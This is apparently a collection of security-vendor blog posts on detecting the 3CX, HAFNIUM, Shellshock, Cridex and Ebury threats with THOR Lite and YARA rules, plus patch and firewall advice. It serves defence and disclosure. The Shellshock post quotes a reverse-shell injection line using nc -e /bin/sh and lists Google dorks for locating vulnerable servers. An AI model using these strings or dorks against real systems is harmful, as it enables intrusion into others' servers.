Using THOR Lite to scan for indicators of Lazarus activity related to the 3CX compromise

Using THOR Lite to scan for indicators of Lazarus activity related to the 3CX compromise

On March 29, 2023 CrowdStrike detected malicious activity, originating from a legitimate, signed binary called 3CXDesktopApp. The binary is part of a softphone system developed by 3CX.
The observed malicious activity consisted of beaconing to infrastructure controlled by the actors, leading to the deployment of second-stage payloads and in a few cases direct on-keyboard activity from the attackers.

You can find more information on the threat in the following articles by CrowdStrike, Volexity and Huntress Labs:

CrowdStrike Report

The first report on the activity linking it to LABYRINTH CHOLLIMA aka Lazarus group.

Volexity Article

This article by Volexity lists a lot of indicators and reports on the final stage in form of the stealer ICONIC

Huntress Labs Article

Huntress Labs report on the activity including process patterns, rules and IOCs

After the compromise became first known, we began our own investigation and in the following few hours released a number of detection rules to our public repositories.

While having the detection in place is a great start, often times it’s not an easy task to assess the situation and make sure that no system in the network is affected by the threat.

One way to leverage these rules and quickly scan your own environment for free, is using THOR Lite scanner.

Enter THOR Lite

THOR Lite is the reduced version of our compromise assessment scanner THOR. It uses YARA rules and Indicators of Compromise (IOC) like hash values and file names to detect malicious activity. 

In this technical blog article, we’ll explore how to levreage THOR Lite to scan end systems for signs of malicious activity related to the 3CX compromise.

We’ll also discuss the various types of indicators that THOR Lite can detect, walk through the process of setting up and configuring the tool, and provide tips for interpreting the scan results.

By the end of this article, you should have a solid understanding of how to use THOR Lite to run a compromise assessments within your network.

Download THOR Lite

Visit the product page, subscribe to the newsletter to get the program package and the license file.

(note: we offer a special license file to 3CX customers that enables an additional module from the full version to extend the detection coverage even more)

You can download this special license here: (expires 30.04.2023) 

Email content:

Getting Started

After you’ve downloaded the program package as a ZIP archive, extract it and place the license file (.lic) in the program folder.

Double click on the “thor64-lite.exe” to run it without any flags or open a Windows command line as an administrator and navigate to the folder where you’ve extracted the program package.

You should then see the scan window that closes automatically when the scan is complete. Usually scans take between 1-4 hours, but there are some ways to speed up the scan.


Flags to Consider

--nosoft --nolowprio

If you’re scanning virtual machines or systems that are under a constant high load by other processes, it could be helpful to use the “–nosoft” and “–nolowprio” flags to let THOR run with the same process priority as any other regular process.

--lookback 150 --global-lookback

If you’re interested in scanning recently created files and log entries. These flags instruct THOR to only scan elements created or changed within the last 150 days (why 150?). It would ignore any file or eventlog entry older than that and thus scan a much smaller set of elements.

--cpulimit 30

To minimize the impact for the end user working on a system while it is getting scanned, you can reduce the CPU usage of the scanner to e.g. 30% to avoid them taking notice of the scan by reducing the overall load and fan noise.

Recommended CommandLine Flags For The 3CX Use Case

If a normal scan takes too long, we recommend the following command line flags in order to reduce the scan duration by restricting the scan to the changes of the last 150 days:

thor64-lite.exe --nolowprio --lookback 150 --global-lookback

In order to reduce the CPU usage and make it as imperceptible as possible to the end user working on the scanned systems use the following command:

thor64-lite.exe --lookback 150 --global-lookback --cpulimit 35

Update the Signatures

We’re constantly working on enhancing and updating the signatures related to the 3CX compromise. Updates are to be expected over the weekend and next week. To make sure THOR always works with the newest set of signatures use the following command:

thor-lite-util.exe upgrade

Interpreting the Scan Results

During the scan you’ll see several messages in green and blue colours. Warning and alert messages use a yellow or red color. But don’t worry when you notice a message of that color. Remember that THOR is a scanner that highlights malicious and suspicious elements for review by an administrator or forensic analyst. Not everything shown as a “warning” message has to be a real threat.

After the scan finishes, users can find an HTML report in the program folder that lists all findings. 

We recommend searching the HTML report for the “3CX” keyword and only review matches with the specific IOCs and YARA rules related to this activity.

THOR Lite is able to detect various forensic artefacts:

  • The installer files
  • The malicious binaries
  • The loaded malware in-memory
  • Process connections to known C2 addresses
  • Traces of activity in local log files

We’re also offering a special license (3cx.lic) to 3CX and their customers that will activate a special feature called “Sigma Scanning” in THOR Lite instances. This allows them to apply the Sigma rules mentioned below (and 1600+ more) on the event logs of a scanned end system.

A match with one of these Sigma rules would look like this: 

You can download this special license here: (expires 30.04.2023) 

Continuous Compromise Assessment: Enhancing Detection Capabilities to Mitigate High-Profile Cyber Attacks

One more time, we are all taken aback by yet another sudden high-profile compromise. Just like the Sunburst or HAFNIUM Attack, the 3CX compromise arose out of nowhere, putting companies of all kinds across the globe at risk. We may later discover that some organizations were exploited for months before the 3CX compromise was ultimately made public.

But does it truly have to come as such a surprise to everyone? Looking back at the Hafnium attack, Nextron discovered that many organizations had been breached by various attack groups, all of whom appeared to have used the proxy shell/proxy logon weakness. All attackers who expanded their breach brought their own toolset for persistence and post-exploitation. Nothing new so far.

However, what if we could automatically detect an attacker’s toolkit after it has been deployed? In this case, we could efficiently detect these breaches long before day zero simply by identifying secondary tools that appear magically on a system. Let’s assume we scan our systems weekly, searching for all kinds of Indicators of Compromise, known attacker tools, or traces of their methods. Then, even without knowing that the 3CX compromise exists, we would most likely be able to detect attacks that make use of it within a week. This would give us a heads up before bad things even begin to happen, shocking everyone.

This is precisely Nextron’s “Continuous Compromise Assessment” approach. With our orchestration platform ASGARD, we can conduct recurrent and automated compromise assessments using our full-featured Scanner THOR. Our first and initial scan represents what we call the baseline. We would analyze all events from the first scan and, starting with the next week, focus on any deviations from this baseline. In such a scenario, we would detect breaches based on secondary toolsets from one week to another. While we still would not detect the 0-day itself, the secondary toolset would show up very prominently as a deviation from the baseline.

There is not much effort required to gain a considerable amount of additional detection capabilities.


The following listings show all the signatures we’ve made public and used in THOR Lite to detect malicious activity

YARA (public)

SIGMA (public)

Potential Compromised 3CXDesktopApp Beaconing Activity – Proxy
UUID: 3c4b3bbf-36b4-470c-b6cf-f07e8b1c7e26

Potential Compromised 3CXDesktopApp ICO C2 File Download
UUID: 76bc1601-9546-4b75-9419-06e0e8d10651

Potential Compromised 3CXDesktopApp Beaconing Activity – DNS
UUID: bd03a0dc-5d93-49eb-b2e8-2dfd268600f8

Potential Compromised 3CXDesktopApp Beaconing Activity – Netcon
UUID: 51eecf75-d069-43c7-9ea2-63f75499edd4

Potential Suspicious Child Process Of 3CXDesktopApp
UUID: 63f3605b-979f-48c2-b7cc-7f90523fed88

Malicious DLL Load By Compromised 3CXDesktopApp
UUID: d0b65ad3-e945-435e-a7a9-438e62dd48e9

Potential Compromised 3CXDesktopApp Execution
UUID: 93bbde78-dc86-4e73-9ffc-ff8a384ca89c

Potential Compromised 3CXDesktopApp Update Activity
UUID: e7581747-1e44-4d4b-85a6-0db0b4a00f2a


c2-iocs.txt @ signature-base

Filename IOCs
filename-iocs.txt @ signature-base

Hash IOCs
hash-iocs.txt @ signature-base

Full THOR Version

Keep in mind that THOR Lite is only a demo version of our full scanner with more than 27 detection modules and more than 20,000 YARA rues compared to the 5 modules and 2,500 rules used in THOR Lite.

You can find a full feature comparison here and a blog post that explains the differences in more detail here


New Detection Rules for Exchange Exploitation Activity

Last week, we’ve released a blog post on how to detect HAFNIUM activity with the use of THOR Lite. Since our first set of rules, we’ve added several important new rules from fellow researchers and moved even more rules from our commercial set into the open source rule set.

This alone would be reason enough to recommend another scan. But during the last three days, we’ve added a special group of rules (see below) and fixed some bugs in the code base of THOR that could have lead to false negative on some of the relevant log files (exclusion under certain conditions).

We therefore recommend a signature update, an upgrade to THOR v10.5.12 (THOR TechPreview v10.6.4) and a new scan run to uncover traces of hacking activity using the newest detection rules.

The following sections explain the extended coverage.

Compiled ASPX Files

We’ve added rules for the compiled ASPX files that often remain on a system even in cases in which an attacker has removed the original web shell.

These are perfect rules to uncover actual post-exploitation attacker activity and not “just an exploitation” and a webshell drop.

You can find more information on the creation and meaning of these forensic artefacts in this Trustwave blog post.

(Source: Trustwave)

Improved Generic Webshell Coverage

Arnim Rupp provided many improvements to its public rule set that detect all kinds of webshells based on generic characteristcs. 

Frequent updates improved these rules and extended the coverage to include the newest unknown webshells mentioned in the most recent reports. 

More Filename IOCs

Over the last few days we’ve added many new filename IOCs mentioned in reports by ESET and others. 

The ESET report mentions and lists IOCs of 10 different APT groups exploiting the Exchange vulnerbility and leaving traces on compromised systems.

Rule Improvements

We’ve improved several rules to extend their coverage.

E.g. the rule that looked for POST requests to a single letter JavaScript file now looks for a certain pattern that includes exploitation attempts with the new Metasploit module.

Due to all the mentioned improvements and bugfixes, we recommend another scan run on your Exchange servers. The following commands upgrade THOR and its signature set.

thor-util.exe upgrade

thor-lite-util.exe upgrade

Remember these recommendations from the initial blog post:

  • If you’ve installed Exchange on a drive other than C: use `–allhds`
  • Use `–sigma` feature when scanning with THOR (not available in THOR Lite)
  • Add the following exclusion to the file `./config/directory-excludes.cfg` to skip all mailbox directories:

\\(MDBDATA|Mailbox|Mailbox Database)\\

Detection Coverage of HAFNIUM Activity Reported by Microsoft and Volexity

Microsoft as well as Volexity pubslihed reports on activity of an actor named HAFNIUM by Microsoft exploiting at least four zero-day vulnerabilities in Microsoft Exchange services. 

In this blog post we would like to outline the coverage provided by THOR regarding this threat. 


All four vulnerabilities and related exploitation techniques have been unknown to the public and were used by the attackers at least since the beginning of January this year. We wrote YARA signatures to detect the exploitation attempts in Exchange web service logs and published Sigma rule that looks for more indicators in Exchange server logs. 

The new rules will be available on 4th of March.

We recommend scanning with the “–sigma” command line flag to apply Sigma rules during Logscan and Eventlog scanning. 

Web Shells

The mentioned web shells are already covered by existing rules.

Look for the following keywords in THOR log data

  • Webshell_ASP_cmd_3
  • Webshell_lowcov_Nov17_2
  • Chopper
  • reGeorg
  • Webshell + Tiny

The web shells samples mentioned by Microsoft as a hash cannot be found in public databases (e.g. Virustotal). We can only guess the current coverage and add a new rule to the rule set of tomorrow: 


Detection rate of some of the web shells on Virustotal:

LSASS Process Memory Dumping

Attackers used procdump and the MiniDump method in comsvcs.dll to dump the process memory of lsass.exe. THOR detects process memory dumps on disk as well as the process dumping attempts in the local Eventlog, if “–sigma” has been used to apply Sigma rules during scanning.

Looks for the following keywords in your THOR Logs:

  • HKTL_PUA_Procdump
  • HKTL_MiniDump_WriteDump
  • HKTL_AQUARMOURY_Brownie_Jan21_1
  • ‘Suspicious Use of Procdump’ (Sigma)
  • ‘Process Dump via Rundll32 and Comsvcs.dll’ (Sigma)
  • ‘LSASS process memory dump’ (Filename IOC)

PowerShell Tools

The PowerShell tools by Nishang and PowerCat are partly covered by our signatures.

Look for the following keywords:

  • p0wnedPowerCat
  • Nishang
  • ‘Malicious Nishang PowerShell Commandlets’ (Sigma)

We wrote a new rule for PowerCat and Nishangs PowerShell tool to achieve a better coverage:

  • HKTL_PS1_PowerCat_Mar21
  • HKTL_Nishang_PS1_Invoke_PowerShellTcpOneLine

Both new rules will be available on 4th of March.

Remember that you can check THOR’s signature set for certain keywords yourself using the ‘–print-signatures’ command line flag.

Critical Zero Day Vulnerability – Kerberos Service – CVE-2014-6324

(please find below the English version of the blog post)
Wir informieren Sie hiermit über eine kritische Zero-Day-Lücke im Kerberos Dienst aller Microsoft Windows Server Versionen.


Die als CVE-2014-6324 bekannt gewordene Schwachstelle im Kerberos Dienst aller Windows Versionen ermöglicht es einem Angreifer mit einem umprivilegierten Domänen-Konto seine Rechte auf ein beliebiges anderes Konto in der Domäne zu erhöhen. Er kann seine Rechte auch zu einem Domänen-Administrator eskalieren. Die Schwachstelle kann in allen Servern ausgenutzt werden, die als Kerberos Key Distribution Center (KDC) fungieren. (Nähere Informationen finden sich im TechNet Artikel [1])
Exploitcode ist im Internet bereits verfügbar.
Dieser Exploitcode adressiert die Schwachstelle in Windows Versionen 2008 R2 und niedriger. Für die Windows 2012 Versionen ist derzeit noch kein Exploitcode verfügbar.

Betroffene Programme

Grundsätzlich sind alle Windows Versionen von der Schwachstelle betroffen.

  • Windows Server 2003
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • All Windows Server Core versions

Die Schwachstelle lässt sich bei allen Servern ausnutzen, die als Kerberos Key Distribution Center (KDC) agieren. Sie gefährdet also Active Directory Domain Controller.

Erkennung von Angriffen

Angriffe auf den Dienst können in einem SIEM System sichtbar gemacht werden. Im TechNet Artikel [1] finden Sie Details zur Erkennung.

Empfehlungen und mögliche Gegenmaßnahmen

Wir empfehlen, vor alle Windows Server Systeme, die als Active Directory Domain Controller fungieren, umgehend zu patchen.
Der relevante Patch KB3011780 kann über den unten angegebenen Link [3] bezogen werden.
Der Hotfix war nicht im Patch Set des November Patch Day enthalten. Es handelt sich um einen kritischen Patch, der außerhalb des Zyklus verteilt wird.

Quellen / Weiterführende Links

[1] Technet Blog
[2] Heise Security Artikel (Deutsch)
[3] Advisory MS14-068 (Englisch)

We hereby informs you about a critical zero-day vulnerability in the Kerberos service of all Microsoft Windows server products.


The vulnerability listed as CVE-2014-6324 allows remote elevation of privilege in domains running Windows domain controllers. An attacker with the credentials of any domain user can elevate their privileges to that of any other account on the domain (including domain administrator accounts).
The vulnerability can be exploited in all systems that serve as Kerberos Key Distribution Center (KDC). (Please find further information on the details in the TechNet article listed below [1])
Exploit codes are already available.
The available exploit codes target the vulnerability in Windows version 2008 R2 and lower. Currently there are no exploit codes circulating for Windows versions of 2012.

Affected Software

Basically all Microsoft Windows versions are affected by this vulnerability.

  • Windows Server 2003
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • All Windows Server Core versions

The vulnerability can be exploited on systems that serve as Kerberos Key Distribution Center (KDC). That means that Active Directory Domain Controllers of all versions are affected by this vulnerability.

Detection of Exploitation Attempts

Exploitation attempts can be detected via a suitable SIEM system. Please visit the TechNet article [1] for more details.

Recommendations and Counter Measures

We recommend patching all Windows server systems that serve as Active Directory Domain Controllers immediately.
The relevant security hot fix KB3011780 is available via the the link [3] at the end of this email.
The patch was not included in the November patch day set. This is a critical out-of-band patch.

Sources / Links

[1] Technet Blog (English)
[2] Heise Security Artikel (German)
[3] Advisory MS14-068 (English)

Bash Schwachstelle CVE-2014-6271 Shell Shock erkennen

CVE-2014-6271 Bash Shell Shock

Shell Shock Logo – Bild: Paul M. Gerhardt

Dieser Artikel enthält Information dazu, wie Sie die bash Schwachstelle CVE-2014-6271 Shell Shock erkennen und behandeln können.

Betroffene Systeme

Grundsätzlich sind alle Systeme betroffen, die eine “bash” einsetzen, also

  • Linux
  • Unix
  • AIX
  • Solaris
  • HPUX
  • D.h. auch viele Embedded Systems, Network Devices, Appliances

Die Remote Ausnutzung der Schwachstelle bedarf aber eines remote erreichbaren Dienstes, der in einer bestimmten Form Gebrauch von der Bash macht. Aus unserer Sicht stehen besonders all jene Systeme im Fokus , die eine simple Web Applikation anbieten oder eine Web Applikation, die systemnahe Befehle ausführt.

  • Druckserver
  • Video-Kameras
  • Haustechnik
  • Anzeigesysteme
  • ILO Boards
  • ICS und SCADA Systeme
  • Appliances (proprietär mit Web Interface und reduziertem Remote Zugang)
  • Usw.

Aber auch jegliche einfache Web Applikation, die “popen()” oder “system()” calls verwendet. Auch finden sich des öfteren aktive Skripts in “cgi-bin” Ordnern, die entweder in Perl oder anderen eher empfindlichen Sprachen verfasst sind.
Große Web Frameworks wie CMS Systeme, J2EE oder Web Sphere sind mit hoher Wahrscheinlichkeit nicht verwundbar.


Auch wenn der Angriffsvektor vielfältig ist und es keinen einfachen Weg der Erkennung von anfälligen Anwendung gibt, ist das Schadenspotential erheblich. Diese Einschätzung liegt darin begründet, dass wenn eine verwundbare Applikation gefunden wird, das dazugehörige Exploit extrem simpel anzuwenden sein wird. Es kann ein einfacher URL Aufruf oder eine “curl” Kommandozeile sein, die zur Ausnutzung der Schwachstelle benötigt wird.
Das Schadenspotential des Angriffs ist im Gegensatz zu Heartbleed auch deshalb enorm, weil der Angreifer den schadhaften Code direkt unter dem Benutzer des verwundbaren Dienstes ausführen kann und im schlimmsten Fall das System direkt komplett übernommen wird. Das ermöglicht auch die Entwicklung von Würmern, die gezielt die bereits bekannten Schwachstellen diverser Produkte ausnutzt und sich dann über diese Geräte verbreitet.
Die große Schwierigkeit besteht dann darin, solche “neuartigen” Würmer effizient und koordiniert zu entfernen, denn Appliances, Haustechnik und andere Embedded Devices stellten Sicherheitsorganisationen in der Vergangenheit bereits bei Würmern im Windows Umfeld vor große Herausforderungen.
Vektor: Vielfältig
Schaden: Hoch
Komplexität: Niedrig
Remote ausnutzbar: Ja (wenn remote angebotener Dienst bash Funktionen nutzt)


Das Problem mit dieser Schwachstelle ist, dass es keinen klaren Check oder Indikator auf Systemebene geben kann, denn die Schwachstelle ist nicht auf ein einzelnes verwundbares Skript oder Produkt beschränkt. Selbst die Ausnutzung über das DHCP Protokoll wurde bereits in einem POC demonstriert.
Verwundbare Skripte und Applikationen könnten in allen möglichen Produkten stecken.


Die einzig sinnvolle Lösung ist derzeit die Erkennung im Netzwerkverkehr mittels IDS/IPS Systemen, die schadhafte Anfragen im HTTP Datenstrom oder anderen Protokollen an Hand von Signaturen erkennen und nötigenfalls die Verbindung direkt blocken können, wenn sie “inline” betrieben werden.


Eine Erkennung auf Systemebene ist nur schwer möglich, da die schadhaften Codes in die Umgebungsvariablen des Benutzers injiziert werden, unter dessen Konto der ausgenutzte Dienst läuft. Die Codes sind also nur im Speicher des Systems vorhanden.
Das System Diagnose Werkzeug “sysdig” hat bereits eine Lösung integriert, allerdings ist sie nur für die Überwachung von Einzelsystemen geeignet und bedarf noch aufwändiger Zusatzarbeiten, um die von Sysdig generierten Outputs zentral in ein Security Monitoring zu integrieren.
Wenn Apache Access Logs in einem Security Monitoring (SIEM) zusammengeführt werden, lohnt es sich diese Logfiles zu überwachen. Die Zeilen eines Angriffs und der derzeit bekannten Würmer sehen folgendermaßen aus (im Listing wird die Injection über den User-Agent String vorgenommen, der naütrlich im Log Format definiert sein muss): - - [26/Sep/2014:10:37:34 +0200] "GET /cgi-bin/poc.cgi HTTP/1.1" 200 1066 "-" "() { :; }; /bin/nc -e /bin/sh 4444 &”

Eine Suche nach folgendem Regex in den Access Logs, kann schadhafte Request sichtbar machen:


Verwundbarkeit feststellen

Um zu testen, ob die Bash eines Systems überhaupt verwundbar wäre, wenn ein angreifer von außen Codes injizieren kann, eignet sich folgender Aufruf:

env x='() { :;}; echo vulnerable' bash -c 'echo hello'

Wenn die Bash verwundbar ist, wird ein “vulnerable” ausgegeben”, ansonsten wird ein Fehler angezeigt.



Diverse Hersteller von Linux Distributionen bieten bereits Patche an. Da viele der sofort bereitgestellten Patches keine Wirkung hatten, wurde ein neuer CVE-2014-7169 geöffnet, um die zwar gepatche aber dennoch verwundbare Bash Thematik zu behandeln. Diese CVE Nummer sollte also ebenso im Auge behalten werden.

Blocking via IPS / WAF

Wie oben bereits beschrieben, sehen wir die einzig derzeit verfügbare Schutzfunktion in IDS/IPS Systemen und WAFs. (Web Application Firewalls)
Sowohl die Open Source Lösungen Snort und Bro als auch professionelle IDS Systeme stehen Signaturen bereit, die bei einem “inline” installierten System auf “blocking” konfiguriert werden können. Die derzeitigen Angriffe gegen Webserver sind im Netzwerktraffic klar erkennbar und gut mit Regulären Ausdrücken kenntlich zu machen bzw. in Signaturen zu definieren.

Google Dorks

Mit Hilfe dieser Google Suchen können verwundbare Zielsysteme gefunden werden.

inurl:cgi-bin “GATEWAY_INTERFACE = CGI”
inurl:”server-status” intitle:apache “cgi-bin”
sitemap.xml filetype:xml intext:”cgi-bin”
filetype:sh inurl:cgi-bin

Weitere Informationen

Informationen von Rapid7 (Metasploit)
Shell Shock Meldung auf Heise
Beispiele für die Ausnutzung der Schwachstelle

Auf dem Laufenden bleiben

Heise Security berichtet ausgiebig über die “Shell Shock” Schwachstelle.
Wir empfehlen auch den Twitter Stream zur Suche “CVE-2014-6271”.

Trojaner Warnung: Telekom E-Mail Betreff: RechnungOnline Monat Mai 2014, Buchungskonto: 2962325641

Telekom E-Mail mit dem Betreff: RechnungOnline Monat Mai 2014

Telekom E-Mail mit dem Betreff: RechnungOnline Monat Mai 2014

Es tobt derzeit wieder eine neue Phishing Welle.
Zahlreiche Mails mit Telekom Rechnungen oder Vodafone Rechnung (EXE in ZIP) werden derzeit in hauptsächliche deutsche Postfächer geliefert. Betreff ist “Telekom E-Mail mit dem Betreff: RechnungOnline Monat Mai 2014, Buchungskonto: 2962325641” oder “Ihre Rechnung vom 14.05.2014 steht als PDF bereit”.
Erkennungsrate liegt wieder einmal unter 5%.
Die Strings im File sehen stark nach “Cridex” aus, den ich Mitte Januar bereits analysiert habe.
Das sind die derzeitigen Indikatoren of Compromise (IoCs):
C2 Domains
=================== (US) (Slowakei)
> brauchbar
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
‹> unbrauchbar
URL Request
POST /70144646/974aade0/ HTTP/1.1
POST /3af6d48d/ec8a4b32/ HTTP/1.1
‹> brauchbar
Regex: POST \/[0-9a-f]{8}\/[0-9a-f]{8}\/ HTTP\/1\.1
File System
Files Created
C:\Documents and Settings\Administrator\Application Data\Microsoft\lmyaudio.exe
C:\Documents and Settings\Administrator\Application Data\6574676.bat
WM 1 Win7
VM 2
VM 3
C:\Documents and Settings\User\Application Data\Microsoft\rqvupdate.exe
C:\Documents and Settings\User\Application Data\1478967.bat
‹> MD5 brauchbar:
=== Links
Virustotal Analyse ZIP
Threat Expert Report
Analyse Malicious EXE

Howto detect Ebury SSH Backdoor

Die folgende Yara Signatur kann für die Erkennung der Ebury SSH Backdoor verwendet werden.

rule Ebury_SSHD_Malware_Linux {
		description = "Ebury Malware"
		author = "Florian Roth"
		hash = "4a332ea231df95ba813a5914660979a2"
		$s0 = "keyctl_set_reqkey_keyring" fullword
		$s1 = "recursive_session_key_scan" fullword
		$s2 = "keyctl_session_to_parent" fullword
		$s3 = "keyctl_assume_authority" fullword
		$s4 = "keyctl_get_security_alloc" fullword
		$s5 = "keyctl_instantiate_iov" fullword
		$s6 = "keyutils_version_string" fullword
		$s7 = "keyctl_join_session_keyring" fullword
		$a1 = "%[^;];%d;%d;%x;"
		all of them

Wer kein Yara verwenden möchte, kann auf diesen Workaround zurückgreifen.

find /lib -type f -size -50k -exec strings -f {} \; | grep '%\[^;\];%d;%d;%x;'

Weitere Informationen zur Erkennung von Ebury CERT Bund.

Malware Welle – Januar 2014

Derzeit rollt eine interessante Mail-Welle durch Deutschland und adressiert vor allem deutsche Unternehmen. Es handelt sich wie üblich um eine Rechnung von “Telekom/Vodafon/Volksbank”, die als Link in der Mail hinterlegt ist.
Telekom Rechnung Januar

Telekom Rechnung mit Link auf Cridex Malware

Der Link verweist nicht auf eine EXE oder ZIP sondern auf ein directory. Zurückgeliefert wird beim Aufruf aber ein ZIP File. Im ZIP befindet sich eine Executable, die bis vor einigen Stunden noch von keinem AV Hersteller erkannt wurde.
Auch jetzt ist die Erkennungsrate noch relativ schlecht.
Dir URLs kann man in ProxyLogs eventuell an folgenden Strings erkennen

URL Strings



Die TLDs waren häufig – aber nicht immer – “.ru” Domains.


Die üblichen Sandboxen haben Probleme mit der Analyse des Samples.

Virustotal Report

YARA Rule (u.a. für FireEye geeignet)

rule Malware_Cridex_Generic {
description = "Rule matching Cridex-C Malware distributed in a German Campaign, January 2014 (Vodafone, Telekom, Volksbank bills)"
author = "F. Roth"
date = "2014-01-15"
reference = ""
hash = "86d3e008b8f5983c374a4859739f7de4"
$c1 = "NEWDEV.dll" fullword
$c2 = "COMUID.dll" fullword
$a1 = "\\>:t; brIs" fullword
$a2 = "C:\\RcbmbtJK" fullword
1 of ($a*) or all of ($c*)

User Agent – harter Indikator

TLP Green – nur auf Anfrage

C2 Server

TLP Green – nur auf Anfrage

Informationen zur Malware-Kampagne

Signatur für Windows 0-day EPATHOBJ Exploit

Am gestrigen Tage wurde eine 0-day Schwachstelle am Microsoft Windows Betriebssystem bekannt, die für sich allein betrachtet bereits als schwerwiegend betrachtet wird, in Zusammenhang mit den uns bekannten Angreifer-Werkzeugen wie dem Windows Credential Editor allerdings als kritisch für jede größere Microsoft Windows Domänen-Infrastruktur angesehen werden muss.
Die im heise Artikel “Google-Forscher veröffentlicht Zero-Day-Exploit für Windows” erwähnte Schwachstelle ermöglicht es jedem Benutzer einer Windows Plattform, sich höchste Rechte auf dem System zu beschaffen. Durch Einsatz des Exploits kann sich selbst ein Gast Benutzer zu dem Benutzer “LOCAL_SYSTEM” eskalieren. Die Anwendung es Exploit ist simple und kann von Personen ohne Fachwissen durchgeführt werden.
Alle Windows Versionen und Architekturen sind betroffen.
Der Schadcode wird von kaum einem Virenscanner erkannt.
0day exploit EPATHOBJ

Ein einfacher Kommandozeilenaufruf erlaubt es, ein Program als LOCAL_SYSTEM zu starten

Folgende Szenarien sind durch das Exploit möglich:

  • Benutzer von Windows Client können sich lokale, administrative Rechte verschaffen
  • Benutzer auf Servern können sich dort administrative Rechte verschaffen
  • Benutzer auf Citrix Farmen können sich dort administrative Rechte verschaffen
  • Malware verwendet das Verfahren, um sich bei Ausführung im eingeschränkten Benutzerkontext lokale Systemrechte zu verschaffen und das System tiefgreifend zu verändern
  • Hacker (z.B. in APT Umfeldern) erhalten so auf Systemen das Recht, auf die gespeicherten LSA Sitzungen von Administratoren zuzugreifen (s.h. Windows Credential Editor Präsentation – Post-Exploitation)

Zusammenspiel mit Windows Credential Editor

Im Zusammenspiel mit dem “Windows Credential Editor” (WCE) wirkt diese Schwachstelle besonders verheerend. Mit dem Windows Credential Editor ist es möglich, LSA Sitzungstokens (NTML Hashes) und Klartextpassworte aus dem Speicher eines Systems zu dumpen. Diese Sitzungsinformationen bleiben teilweise Tage und Wochen im Speicher eines Systems zurück. Es reicht, dass der Angreifer Zugriff auf einen Mitgliedsserver erhält, um NTLM Hashes von Domänenadministratoren aus dem Speicher zu extrahieren.
Übliche Methoden zum Schutz vor diesen Attacken, wie die Wahl eines komplexen Passwortes, welches aus dem Hash nicht zurück berechnet werden kann, greifen nicht. Der WCE stellt Funktionen bereit, die einen einfachen Pass-the-Hash Angriff umsetzen. Dazu muss das Passwort nicht geknackt, sondern nur der Hash weitergereicht werden. In unserem Kundenumfeld setzen Angreifer diese Methode ein, um von Serversystemen in unbedeutenden Außenstandorten, Kommandozeilen mit Rechten eines Domänen-Administrators auf den Domänen-Controllern zu öffnen.
Diese Präsentation beschreibt die Funktionsweise des WCE im Detail.
Zur Ausführung des WCE sind allerdings administrative Rechte erforderlich, über die die Angreifer nicht immer verfügen. Mit dem neuen Windows Exploit erhalten sie diese aber einfach und schnell. Eine gesamte Windows Domäne fällt so in kürzester Zeit.


Wir haben auf Grund der Dinglichkeit eine Signatur für das von Tavis Ormandy veröffentlichte Windows Zero-Day-Exploit erzeugt. Andere Methoden zur Erkennung werden derzeit evaluiert. Wir werden Sie hier im Blog informieren, wenn wir andere Wege zur Erkennung (z.B. Windows Eventlogging) finden konnten.
Sie können ihre Systeme mit Hilfe von YARA manuell scannen.
rule Windows_0day_Exploit_1 {
meta: description = "Windows 0day EPATHOBJ local ring0 Exploit"
$a = "PATHRECORD" fullword
$b = "HRGN" fullword
$c = "FlattenPath" fullword
$d = "EndPath" fullword
$e = "PolyDraw" fullword
all of them

Nachdem Sie “” heruntergeladen und entpackt haben, können sie über die Kommandozeile den Scan mit der oben angegeben Signatur starten.
Diese Signatur ist auch Teil unseres Incident Response Scanners THOR, zu dem Sie hier mehr Informationen finden können.
Einen Schutz auf kritischen Systemen bietet eine Lösung wie “AppSense Application Manager“, zu dem wir auch Support anbieten. Er setzt das “Trusted Ownership” Modell um, welches auf Windows Systemen sicherstellt, dass nur diejenigen Executables ausgeführt werden dürfen, die von einer vertrauenswürdigen Gruppe auf das System gebracht wurden (z.B. Administratoren). So können z.B. die Benutzer von Citrix Systemen weiterhin ihre dort abgelegten Anwendungen verwenden, aber keine eigenen, eingebrachten Executables zur Ausführung bringen.


Der Exploitcode wurde von uns kompiliert und untersucht.
Eine von uns veranlasste Analyse des Exploitcodes durch finden Sie hier.
(die kompilierte Executable kann von dieser Seite heruntergeladen werden – wir übernehmen keine Haftung für Schäden, die durch die Ausführung entstehen)


Wir konnten den bereitgestellten Code nur auf 32bit Betriebssystem Versionen zum Laufen bringen. Es steht jedoch außer Frage, dass die Schwachstelle nach Anpassungen auch auf 64bit Systemen ausnutzbar sein muss.
Interessant ist auch, das Tavis Ormandy den lauffähigen Exploitcode von einem chinesischen Studenten bereitgestellt bekommen hat.

Plesk 0-day Workaround

Ein kürzlich bekannt gewordener 0-day Exploit für Plesk bedroht zahlreiche Server-Installationen. Betroffen sind vorasussichtlich alle Versionen vor Plesk 11. Die Lücke soll bereits genutzt worden sein, um tausende Installationen zu unterwandern. Über das ausgenutzte Plesk lassen sich weitreichende Rechte auf dem System erlangen.
Da bisher kein offizieller Patch bereit steht, empfehlen wir, den Plesk Zugriff per Firewall Regel zu unterbinden.

Plesk in aktivierter Plesk-Firewall deaktivieren – von der Kommandozeile

Die Plesk Firewall konfigurieren

vi /usr/local/psa/var/modules/firewall/

Darin die Zeilen für den Zugriff auf Plesk auskommentieren – z.B.:

#/sbin/iptables -A INPUT -p tcp --dport 8443 -j ACCEPT
#/sbin/iptables -A INPUT -p tcp --dport 8880 -j ACCEPT

Dann Plesk-Firewall neu starten:

/etc/init.d/psa-firewall restart

Plesk per iptables Regel unzugänglich machen

Zuerst sollte man prüfen, welche Regeln aktiv sind:

iptables -L -vn --line-numbers

Dort Ausschau halten nach Zeilen mit Zielport 8443 und 8880.
Wenn kaum Zeilen zu sehen sind, dann ist die Firewall nicht konfiguriert und man sollte beispielsweise eine Werkzeug wie “lokkit” verwenden, um Basisregeln auf einfache Weise auf das System zu bringen.
Wenn zahlreiche Firewall-Regeln konfiguriert sind, lohnt es sich herauszufinden, von welchem Werkzeug die Regeln auf dem System erzeugt wurden. Manchmal lässt sich das an den “Chain”-Namen ableiten.
Für schnelle Hilfe bis zu einem Restart, geht man folgendermaßen vor, wenn man ACCEPT-Zeilen für die Plesk Dienste gefunden hat.

iptables -D Chain-Name Nummer-der-Regel

also z.B.

ipatbles -D INPUT 5

